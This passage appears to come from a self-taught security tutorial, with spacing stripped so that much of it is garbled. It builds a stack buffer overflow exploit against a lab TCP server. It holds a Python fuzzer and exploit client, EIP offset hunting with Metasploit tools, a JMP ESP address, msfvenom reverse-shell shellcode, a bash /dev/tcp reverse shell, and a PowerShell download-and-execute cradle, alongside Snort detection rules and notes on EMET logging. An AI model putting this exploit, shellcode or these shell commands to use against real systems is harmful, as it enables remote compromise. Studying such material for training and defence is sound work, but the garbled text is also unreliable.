The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to

and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk

queries

SampleEMETEvent

EMETversion55587131892

EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE

EAF+checkfailed

ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE

UserNameDOMAINuser

SessionID1

PID0x1348(4936)

TID0xF90(3984)

ModuleSOMEDLLdll

ModBase0x11630000

ModAddress0x11642E99

MemAddress0x76F501A4

Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to

prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may

need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice

beachheadtomaintainafoothold

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf

httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server

DetectingSuccessfulBufferOverAttempts

The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker

has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed

which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two

approachespaintsasolidpicture

1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)

2) Hostbasedsignaturedetection

NetworkBasedDetection

Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the

clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication

1 EncodedHEXpayloadmalwarewithintheclientattack

2 Abunchofx90rsquoswithintheclientattack

3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal

If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have

SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from

bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit

generatedBSDshellcode

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)

content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416

classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment

Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at

2010_07_30updated_at2016_07_01)

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)

content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly

referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any

attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag

Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)

Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly

impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS

interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the

payloadsolargethattherulesareignoredduetoperformanceaswellSneaky

HostBasedDetection

In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and

made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer

OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean

Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas

netviewdomain

netuserdomain

netaccountsdomain

Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas

systeminfo

netlocalgroupldquoAdministratorsrdquo

uname-a

catprocissue

Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell

start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait

powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString

(http10022108081CodeExecutionInvoke-Shellcodeps1)

Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc

ENJOY

ReferencesandHonorableMentions

GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors

MESSAGE=Awhilelen(MESSAGE)lt=1000000mayneedtobeincreasedbasedonyourtargetbuffersize

DEST_IP=127001hostyourvulnProgramsislisteningonDEST_PORT=int(sysargv[1])counter=100

MESSAGE+=(Acounter)increasingthefuzzpayloadofAscounter=counter+100100hereisarbitrarysmallerwillbemoreaccuratebuttakelonger

print(lengthoffuzzoverflowis)print(len(MESSAGE))Foreducationalpurposes

forstringinMESSAGE

defconvert(MESSAGE)raw=raw+=structpack(ltIlen(MESSAGE))Serverexpectsapre-fixtellingyouthebuffersizeraw+=MESSAGEreturnraw

print(convert(MESSAGE))testpurposess=socketsocket(socketAF_INETsocketSOCK_STREAM)sconnect((DEST_IPDEST_PORT))ssend(convert(MESSAGE))data=srecv(1024)

sclose()printReceiveddatadataLetrsquosrunthepythonclientpyscriptandthevulnerableCtcpserverWersquollseethatthepythonscriptwillactasexpectedandbeginiteratingthroughthewhileloopandincreasingthenumberofArsquosIrsquoveincludedaprint()soyoucanwatchtheArsquosgrowastheclientrunsIfyouruntheclientterminalandtheserverterminalsidebysideyoursquollbeabletocomparetheclientpayloadbeingsenttothepayloadbeingreceivedbythevulnerabletcpserver

HopefullyyouruntheattackagainstyoursquorevulnerabletcpserverwhileinEDBmodeYoursquollnoticeaSIGSEGVerroratbytelengthof1101ASIGSEV(segmentationfault)oraccessviolationisafaultorfailureconditionistypicallyraisedbyhardwareasamemoryprotectionmechanismwhenyourprogramattemptstoaccessamemorylocationthateitherdoesnotexistorthatyourprogramisnotallowedtoaccessInthiscaseweoverwroteourEIP(instructionpointer)withamemorylocationof0x4141414orinotherwordsfourArsquos

ThenextpartiscriticalandIoverlookeditthefirstfewtimesIwastryingtounderstandhowthestackbufferrelatestotheregistersAt1101bytestheprogramcrashesHoweverwedonrsquotknowhowfarintotheregisterwewroteourArsquosBecausethisisopensourcecodeweknowthatthebufferwas1024bytesandwewroteout1101bytessoitrsquoslikelyweoverwrite77bytesworthofspaceoverourregisters

WhydowecareWewanttomodifyourinstructionpointerorEIPinx86IfwecanpreciselyoverwriteEIPwiththememorylocationofourprogramthenwecantricktheCPUintoexecutingourmaliciouscodeToillustrateIdrewanXthroughthereturnarraybackintoourbeforebecauseweonlyhaveabunchofArsquosinthereLetrsquossaywewanttowrite4Brsquosinthe4bytespaceinthereturnpointerTheBrsquos(x42)arearbitraryandonlyusedtoillustratethepointIfwewanttowriteBrsquostoaspecificregisterthenweneedtofigureouttheexactnumberofbytestostopwritingArsquosandstartwritingBrsquosManualbinarytreeanalysisisthebestforabeginnerinmyopinionMainlybecauseyoursquollneedtomanuallyworkyourwaythroughthebytesizelengthsmakingeducatedguesseswhileatthesametimelookingattheregistersandldquovisualizingrdquohowitallworks

Soifwehaveacrashatletrsquossay1100WecansplitthenumberofArsquosandBrsquosinto550Doingthismanuallyjustforkickspython-cprintx41550+x42550

Letrsquosusetheoriginalclientpy(notthefuzzer)andreplacetheldquoHELLOrdquomessagewithournewbufferwejustcreatedRestartthevulnerabletcpapplicationinGDBandruntheclientpywithourAandBrsquosbufferPuttingtheapplicationside-by-sideweseethat1100byteweresenthalfAsandhalfBrsquosHoweverthistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithBrsquos(x42)

LetrsquostakeourfirstlookintotheregisterstoseewhatrsquosgoingonTypeldquoinfoall-registersrdquo

EachtimeyourunthroughthebinarytreecreatenewbuffermakesureyoulookintotheregistersTheoutputshowsusthatouroverflowisinourBrsquosbecauseweseex42hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway(-8Nowweneedtogofartherdownthebinarytreetofindtheexactlocationtowriteonly4bytesofBs(x42s)SowersquollmodifyourbuffertoincludesomeCrsquosWersquolldivide11003=andapproximate366+366+368python-cprintx41366+x42366+x43368

LetrsquosupdatetheoriginalclientpyscriptagainwithournewbufferandruntheattackagainstthevulnerableserverintheEDBBythewayIfoundVIMtobefarsuperiorforreplacinglargebuffersizewordsallatonceandnavigatingbackandforthtothebeginningandendofline(-8hellipafterfatthumbingitafewtimesweplacetheclientandtheserverside-by-sideandobservewhathappened

ThistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithCrsquos(x43)TheoutputshowsusthatouroverflowisinourCrsquosbecauseweseex43hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway

WecansaytheresultsofthismakesensebecausewehavethesourcecodeWeknowthatthebufferisallocated1024bytesasapre-processorinstructionAtthispointourArsquosandBrsquosonlyequalatotalof366+366=732bytesNotenoughtooverflowthe1024butanother386isenoughtocrashintothestackrsquosregistersLetrsquoskeepgoingWersquolldividetheCrsquosupnextupdateourclientbufferandretesttheprograminEDBpython-cprintx41366+x42366+x43184+x44184ThistimeweseethefaultoccursintheDrsquoswichmeanswearegettingverycloseSincewersquoreontherighttrackandknowweneedtogetdownintoonly4bytesletrsquosbreaktheDrsquosdownfurther

python-cprintx41366+x42366+x43184+x4462+x4562+x4662

AtthispointIrsquomgettingtiredandthisisgettingoldbutweknowtheoverflowissomewhereinthelast62bytesSoletrsquospauseandaskourselveshowcouldwehavedonethisfasterWerememberouriteratorinthefuzzerTherewasareasonwhyIprintedthebytesizelengthtoscreenLetrsquosgobacktoapictureofourfuzzer

Sobetween1000and1100theoverflowoccursForfastresultswecouldrepeatthebinarytreeanalysiswhereonthelast100byteshellip

python-cprintx411000+x4225+x4325+x4425+x4525

That was much faster In one run we already know that the overflow falls somewhere within the Crsquos or x43s That could be anywhere

up to 1050 bytes This makes sense because we know our buffer is 1024 and we have an idea that there are some other registers that

mightgetoverwrittenbeforeourcodemakesitrsquoswaytotheinstructionpointerLetrsquosbreakdownthose25Crsquosinto8Crsquos8Drsquos9Ersquos

python-cprintx411000+x4225+x438+x448+x459

Now our fault occurs in our Ersquos or x45rsquos Simple math tells us that is somewhere between ~ 1040-1050 bytes and we know our registers

are4byteor32bitregistersthereforewecanbreakthatfinal9Ersquosinto4Ersquosand4Frsquosandseewhathappens

python-cprintx411000+x4225+x438+x448+x454+x464

Close 3 bytes of Ersquos or 3 x45rsquos but look closely one byte of D or x44 This means we need to subtract one D (x44) I feel like wersquore

onestepaway

python-cprintx411000+x4225+x438+x447+x454+x464

BoomThatrsquosit4bytesofErsquosor4x45rsquosLetrsquoscrackopenourregistersandconfirmthatwehavecontroloverourinstructionpointer

Okay so letrsquos recap You can save time during binary tree analysis if you print your fuzzerrsquos buffer to screen In this case we know the

crash occurred between 1000 and 1100 We also learned that our instruction pointer was well being overwritten with As We need to

find the exact location of the 4 byte EIP register because later we want to put a memory location of our ldquomalwarerdquo and tell the computer

to return to our malware in buffer If you noticed that the 44rsquos were at the end of EIP and not the beginning good catch This is because

Intel x86 is little endian meaning that the instructions are considered ldquobackwardsrdquo when provided to the CPU Basically it reads from

right-to-leftrelativetotheorderyousuppliedthedata

FindingInstructionPointerthefastway

Lucky for us there is a nice little program which helps us solve this problem much more quickly Unfortunately I found that when your

taught to use this program without learning the manual way then you may not understand what and why exactly you are using the

program

httpsgithubcomrapid7metasploit-frameworkblobmastertoolsexploitpattern_createrb

Soourfuzzertoldusthecrashhappenedatapproximately1100bytes

rootkali~locatepattern_createusrsharemetasploit-frameworktoolsexploitpattern_createrb

rootkali~usrsharemetasploit-frameworktoolsexploitpattern_createrb-l1100

This will create a pattern where each 4 bytes is a unique string Gosh I wish someone told me that You will paste the output from this

command into your clientpy buffer and overflow the program You will then receive a segmentation fault and go back into the registers

and find the unique 4 byte value in EIP Yoursquoll use a sister program which essentially counts the number of bytes in pattern_createrb

outputuntilitgetstotheunique4bytevaluethatwascopiedintoEIP

Example

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0

Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6

Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7

Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1

Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2

Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf

4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk

YoucanchecktheregistertoojusttoconfirmtheuniquefourbytestringthatwaswrittenintoEIP0x37694236

Then you use the sister program which is just going to count all the bytes in our unique buffer string up to the point of that 4 byte EIP

value

usrsharemetasploit-frameworktoolsexploitpattern_offsetrb-l1100-q37694236

Letrsquoscomparethe1040byteoffsetagainsttheoffsetwefoundmanuallyusingbinarytreeanalysis

python-cprintx411000+x4225+x438+x447+x454(EIP)+x4641000+25+8+7=1040NowweknowthatourbufferandregistersbeforeEIPisapproximately1040byteslongwhilethefollowing4byteswillbeourmemoryaddressthatreturnsusbackintoourbufferandeventuallyrunsourprogramsOnceagainIfoundthissillypicturenotonlyamusingbutthemostusefulIgnorethe500bytesizelengthandreplacethatwith1040forexample

Now we want to make a slight modification to the manual buffer we created previously by adding some x90 no operations commands

Wersquoll add exactly 1040 bytes of NOPS for now Take a second look at the illustration above and see that wersquore going to write out a

bunchofNOPSandeventuallyaddsomeldquomalwarerdquocode

python-cprintx901040+x454+x904

Letrsquosmodifyourclientpyscripttoadjustforthenew1040offsetandNOPs

Notice how similar the manual python script looks to the replaced MESSAGE variable value If this update works correctly wersquod expect

thatmemorylocationsbeforeEIPtobex90rsquosandwersquodexpecttoseethatEIPisx45454545

MESSAGE=x901040+x454+x901000

Run the vulnerable tcp server and clientpy side-by-side and yoursquoll find that the segmentation fault occurs at EIP with a value of exactly

x45454545

Now most importantly what do we put into the Instruction Pointer That depends on where your buffer of x90rsquos land To find our

NOPSletsruntheattackwiththefollowinglogicintheclientpy

MESSAGE=x901040+x454+x901000

Letrsquosswitchsomethingsupandtryanewdebuggerhellip

1 Server1337

2 Fromterminal2rarredb

3 FromedbUIrarrfilerarrattachrarrldquoServerrdquo

4 FromedbUIrarrfilerarrdebugrarrrunrarrrun(twiceorso)

5 UpdateyourclientPoCcode

6 pythonclientPoCpy1337

CodeChanges

malware=(x41100)

eip=x424

ending=x90200

nopsled=(x90(1000-len(malware)))

MESSAGE=x901040+eip+nopsled+malware+ending

Welandsomex42rsquosperfectlyonEIPwhichmeansweadjustedforthebuffercorrectly

Right click in the registers and do a follow in memory dump In this case I clicked ESP and found some 90rsquos in the bottom left-hand

corner

Looking at our memory we see can see the 90rsquos we wrote before EIP we can see the x42 which is EIP and we can see that ESP points

to memory address bffff310 If we continue to scroll down into ESP we should find a bunch of Arsquos which symbolizes our malware At

memoryaddressbfff6a0wefindourArsquoswhichmightaswellbemalware

Nowthatweknowthex90rsquosfeednicelyintoourmalwarewewanttofindalocalstaticbinarywithanOPCODEthatallowsustojump

intoESPWersquollneedabinarythatisalreadyloadedintomemorythatgrantsourprogramreadpermissionFromtherewewillsearchfor

aJMPESPopcodetofindamemorylocationwiththatinstruction

1 runthevulnerableserver

2 startupedbdebuggerandattackthevulnerableserver

3 rightclickPluginsrarrOpsCodesearchrarrClickESPtoEIP

4 Manuallysearchthrougheachloadedbinaryandclicksearch

0xb7facf97 or x97xcfxfaxb7 is the memory location of the OPCODE instruction we need to insert into EIP in order to trick the CPU

tojumpintothememoryaddressheldatESPregisterandthenexecuteourmalwareinESPAsafriendlyreminder

So what do we want our malware to do For now letrsquos create a simple reverse shell back to a command and control server In the

futureIrsquollwriteapaperaboutacustompieceofmalwarejustforfun

Aboilerplateuniversalreverseshellonlinuxlooksliketheonebelow

binsh-igtampdevtcp12700144440gtamp1

Letrsquos test this out on a similar OS to the target server (as best we can) to make sure it will run correctly Wersquoll create a netcat listener in

one terminal listening on port 4444 and wersquoll execute the reverse shell from another terminal and attempt to connect to the listener It

lookslikethissimplereversebinshshellcommandwillworkonthetargetOS(mylocalhostlolz)

The next part that gets overlooked is the assembler encoding into machine op code Kali Linux and Metasploit have tools that generate

a bunch of shellcode for you but the details of the tools can be easily missed or misunderstood If your self-taught noob like myself and

not comp-sci person then itrsquos good we take a moment to cover this Even if you donrsquot fully understand it yoursquoll at least understand there

isanaddedlayerofcomplexity

LetrsquosrefertoourfriendwikipediaforhelphereIpersonallyconcatenateabunchofthistogetherbecauseIfounditusefulinmynotes

ldquoThe Netwide Assembler (NASM) is an assembler and disassembler for the Intel x86 architecture It can be used to write 16-bit 32-bit (IA-32) and 64-bit (x86-64) programs

NASM principally outputs object files which are generally not executable by themselves In computing object code or object module is the product of a compiler In a general

sense object code is a sequence of statements or instructions in a computer language usually a machine code language (ie binary) or an intermediate language such as

register transfer language (RTL) An assembler is used to convert assembly code into machine code (object code) An assembly language (or assembler language) often

abbreviated asm is any low-level programming language in which there is a very strong correspondence between the programs statements and the architectures machine

codeinstructionsrdquo

So when we put in x90x41x42 etc etc you might have noticed that the values stayed the same in memory and in the registers But

when we put in a bunch of Arsquos for some reason the EIP register spit out x41s Well when we performed ldquoinfo all-registersrdquo wersquore seeing

the HEX variant (x41x42x43) of the variables used in the CPUrsquos assembly language Thatrsquos part of the assembly language at work

helpingusgofromahigherlevellanguageinCtoalowerlevellanguagetotheCPUthatwedonrsquotunderstandlikebinary1rsquosand0rsquos

So when we write our malware to the registers it seems best to encode it into the assembly NASM HEX variant of the ASCI characters

commands because the assembly is already expecting that value in the register to execute when the function is called I canrsquot explain it

any deeper other than saying itrsquos ldquomagicrdquo All I know is that if you try to put human readable bash command syntax into a register the

registerdoesntknowwhattodowithitbecauseldquoitdoesntspeakthatlanguagerdquohellipyoufeelme(-8hellip

PutsimplyletrsquostakethecommandwearefamiliarwithinBASHandencodeitintosimpleHEXforillustrationhellip

binsh-igtampdevtcp12700144440gtamp1

encodesto

x2fx62x69x6ex2fx73x68x20x2dx69x20x3ex26x20x2fx64x65x76x2fx74x63x70x2fx31x32x37x2ex30x2ex30x2ex31x

2fx34x34x34x34x20x30x3ex26x31

Unfortunately the assembly still wont ldquounderstandrdquo what that HEX bash command means Largely because wersquore executing directly

from the stack and therefore we need x86 equivalent instructions However it does visually illustrate the point that wersquore taking a

simpleshellcommandandencodingitintoassemblyandwritingtheoutputinCHEX

To make this easier wersquoll use a tool from here on to help us translate a similar shell command like the one below into a lower level x86

encodedcommandthatthekernelcaninterpret

binsh-igtampdevtcp12700144440gtamp1

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

x86encodedShellCode

xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1

x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f

xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0

xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45

x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33

x21x0bx8fxc0xd9xbbxe0x09x7bx55x76xb6x29xf6x01

xd8x7dxf3xdcx9b

TheMSFVENOMtoolisextremelyfeaturerichItiseasytorunitblindlybasedonsomeblogortrainingcoursewithoutfully

understandingthedetailsbehindthepayloadsencodersandoutputUsingourexampleIrsquollgivea60secondbreakdownItrsquosreally

worthreadingthemanpageonmsfvenomtounderstandthearchitecturesandencoders

- p=payloadwherepayloadcouldbelowlevelassemblycompiledjavajspshellcommandscrossplatform

- shell_reversewheretheUnderscoremeansasinglestagedpayloadThismeanstheentireremotecodeexecutionoccursina

singlegoAlternativelyamulti-stagedpayloadmightinjectaldquodownloaderrdquothenrunthedownloadedagainsttheattackerrsquos

ldquoWebServerrdquotogetadditionalremotecodecommandexecutionThinkstage1ldquocurl-sattackeripmalwarerdquowhilestage2is

malwareldquobinsh-igtampdevtcp12700144440gtamp1rdquoorsometihngfarbiggerandmoreadvanced

- f=formathellipThatcanberawCJSPshelletcetc

- -eistheencoderinthiscaseforthex86architecturewersquoreworkingonbuttherearemanymanymore

- -baretheldquobadrdquocharactersIrsquoveincludedafewexampleshere

Wheredoweputourmalware

While writing these notes I first put the shell code at the beginning of the buffer before EIP Letrsquos think about this for a second in the

clientpyscriptputtingthemalwarebeforeEIPlookslikethis

NOPSLED+MALWARE+EIP(RETURNBEFOREMALWARE)+NOPS

Personally I found the first approach difficult for this C program because the NOPSLED overwrote 90rsquos to all my registers This is

important because I had no OP CODE which I could use to dynamically jump into the NOPSLED before the MALWARE I was left

manually searching for a memory address of my NOPSLED and hard coding the memory address into the program This is inferior

because you may want to test larger MALWARE which could overwrite your memory address or you may have a different memory

address when you run this exploit on a target system outside of your lab Once again hard coding the return point is bad and

unfortunatelytheNOPSLEDbeforeEIPdidntgivememuchtodynamicallyjumpinto

HoweverIdidfindthatputtingmymalwareafterEIPopenedsomenewdoorsThisapproachlooksclosertothesyntaxbelow

NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS

LikebeforewhenfindingJUMPESPyoucantestthisoutbygeneratingcodesimilartothecodebelow

malware=x41x30

eip=x97xcfxfaxb7

eip=x41x41x41x41

ending=x90200

nopsled=(x41(1000-len(malware)))

MESSAGE=x901040+eip+nopsled+malware+ending

After updating the code in the clientpy script go ahead and run the attack against the vulnerable server while in EDB debug mode Then

look into your register windows and try to ldquoFindrdquo any x90rsquos or if you used Arsquos x41rsquos If you find a register in my case ESP I overwrote

with a bunch of x41rsquos So instead of manually hard coded a memory location into the exploit I can now simply reference by ESP register

pointertojumpintothenopsled

One point here that was omitted online is the value of this In order to ldquoJumprdquo into all those ldquoArsquos you will need a librarydll with that

specific x86 operation code which your program has access to Letrsquos say Windows or Linux has a library with a JMP ESP command that

can program can call then your exploit becomes more portable because you can simply call that library Plus if you want to try out

bigger malware payloads you donrsquot have to go down into lower memory locations and hard code the new NOP location to ldquomake roomrdquo

for a bigger payload With memory protections enabled I suspect this becomes more complex but I think for now wersquoll go with the shell

codeaftertheEIPsowecanjumpintoESP

NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS

BadCharactersinCustomMalwareIfyouweretoattempttofindyourownbufferoverflowinapieceofsoftwareandwriteyourownremotecodeexecutionorremotecommandexecutionyouwouldfindthatsomecharactersarereservedforpromotinglanguageandassemblerForexamplex00isusedforNULLpointterminationinCwhichindicatesanendofanarrayorbufferandtellsaprogramtostopatthepointitseesx00OtherlanguagesmayhavesimilarreservedtypeofcharactersyouwanttocommitAsanoverlysimplifiedexamplehellip

x86encodedShellCodewBadCharacters(Fornextsection)

xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1

x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f

xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0

xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45

x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33

x21x0bx8fxc0xd9xbbxe0x09x7bx00x00x55x76xb6x29xf6x01

xd8x7dxf3xdcx9bx00x00

Nowletrsquosupdateourclientpycodetoreflectthesechangesandincludethereverseshellpayloadwejustmade

UpdatedclientpyCodewiththeldquoBadCharactercoderdquo

Wersquore getting close to the moment of truth The expected behavior is when turn on another netcat listener on port 4444 and run the

clientpy the clientpy script will attack the vulnerable tcp server and write our malicious code into the vulnerable serverrsquos buffer and

overwrite EIP with a memory pointer that will tell the CPU to ldquogo backrdquo to our malicious command which will ultimately create a

connection back to the ldquoattackerrdquo on the listening 4444 port However because we have ldquoBad Charactersrdquo we know the connection

willfail

Enablenetcatonport4444(nc-lvp4444)

TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB

Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)

WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444

We notice that the attack fails because the connection back to our attacking machine (farthest right) does not respond to our ID or

WHOIScommandsLetrsquosinvestigate

1 RightclickEIPinRegisterWindowsrarrFollowinDump

2 ScrollaroundandfindthemalwareinbetweentheNOPSLEDandNOPending

3 Lookforx00commandsandtrytonoticeanythingorstrange

WhattheTargetMachineSees

Whatwesentover

We go through each HEX character one by one and notice if any original character from the client payload are omittedgoofed up etc

etc This is a slow and tedious part of the process and arguably the best opportunity to learn We see a whole string of characters does

not ldquomatchrdquo So what happened The bad characters are reserved for various operations and memory locations If you send an OP

CODE for example then the machine will just process it ldquoas isrdquo not knowing that the characters you sent are part of a specific sequence

of characters to form a command In an environment where you are trying to encode BASH command or x86 x64 you will run into

various characters that your malware payloads canrsquot use If you donrsquot spend the time checking the memory dump for bad

charactersthenyouwillhavemanysadandlonelyhoursbehindthekeyboard

So we have to generate a payload that can omit bad characters Luckily we have a program to help us generate x86 shellcode and

omitcharacters

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

TestingforbadcharactersisthebestwayforyoutolearnthedebuggerassemblyandHEXYoucandoitatleasttwowaysthatIknow

ofhellip

1 UseagiantblobofallASCIcharactersinHEX

